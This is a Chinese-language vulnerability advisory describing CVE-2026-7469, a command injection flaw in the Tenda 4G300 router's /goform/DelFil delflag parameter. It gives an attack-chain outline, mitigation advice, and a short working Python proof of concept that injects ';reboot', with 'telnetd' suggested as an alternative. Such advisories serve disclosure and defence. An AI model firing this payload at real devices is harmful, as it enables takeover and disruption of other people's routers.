IPBUF安全漏洞报告
English
CVE-2026-7469 CVSS 6.3 中危

CVE-2026-7469 Tenda 4G300命令注入漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-7469
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda 4G300

相关标签

命令注入Tenda 4G300IoT漏洞RCECVE-2026-7469

漏洞概述

Tenda 4G300路由器US_4G300V1.0Mt_V1.01.42_CN_TDC01版本存在命令注入漏洞。漏洞源于/goform/DelFil接口的sub_425A28函数对delflag参数缺乏有效过滤。攻击者无需用户交互,仅需低权限即可通过网络发送恶意请求,触发漏洞并在设备上执行任意系统命令,造成系统被控。

技术细节

漏洞发生在Tenda 4G300路由器的Web管理服务中,具体影响文件/goform/DelFil下的sub_425A28函数。该函数负责处理文件删除操作,接收HTTP POST请求中的delflag参数。由于代码实现过程中未对该参数进行严格的边界检查和特殊字符过滤,直接将其拼接到系统调用命令中。攻击者可以利用这一缺陷,在delflag参数值末尾追加Shell命令分隔符(如分号或&&)以及恶意指令。当服务器处理该请求时,会执行拼接后的命令字符串,导致攻击者获得执行权限,从而读取敏感信息、篡改配置或破坏服务。该漏洞利用难度低,且已有公开PoC,风险较高。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露的Tenda 4G300路由器设备。
STEP 2
构造载荷
攻击者构造包含恶意Shell命令的HTTP POST请求,利用delflag参数进行拼接。
STEP 3
发送请求
将恶意请求发送至目标设备的/goform/DelFil接口。
STEP 4
命令执行
设备后端处理请求时执行注入的命令,攻击者获得设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target = "http://<target_ip>/goform/DelFil" # Malicious payload to execute a command (e.g., 'reboot' or 'telnetd') # The injection point is the 'delflag' parameter payload = ";reboot" data = { "delflag": payload } try: # Send POST request to exploit the vulnerability response = requests.post(target, data=data) if response.status_code == 200: print("Payload sent successfully. Check if device rebooted.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Tenda 4G300 US_4G300V1.0Mt_V1.01.42_CN_TDC01

防御指南

临时缓解措施
建议用户立即断开设备外部网络连接,或通过访问控制列表(ACL)仅允许受信任的内网IP访问Web管理界面,直至完成固件更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表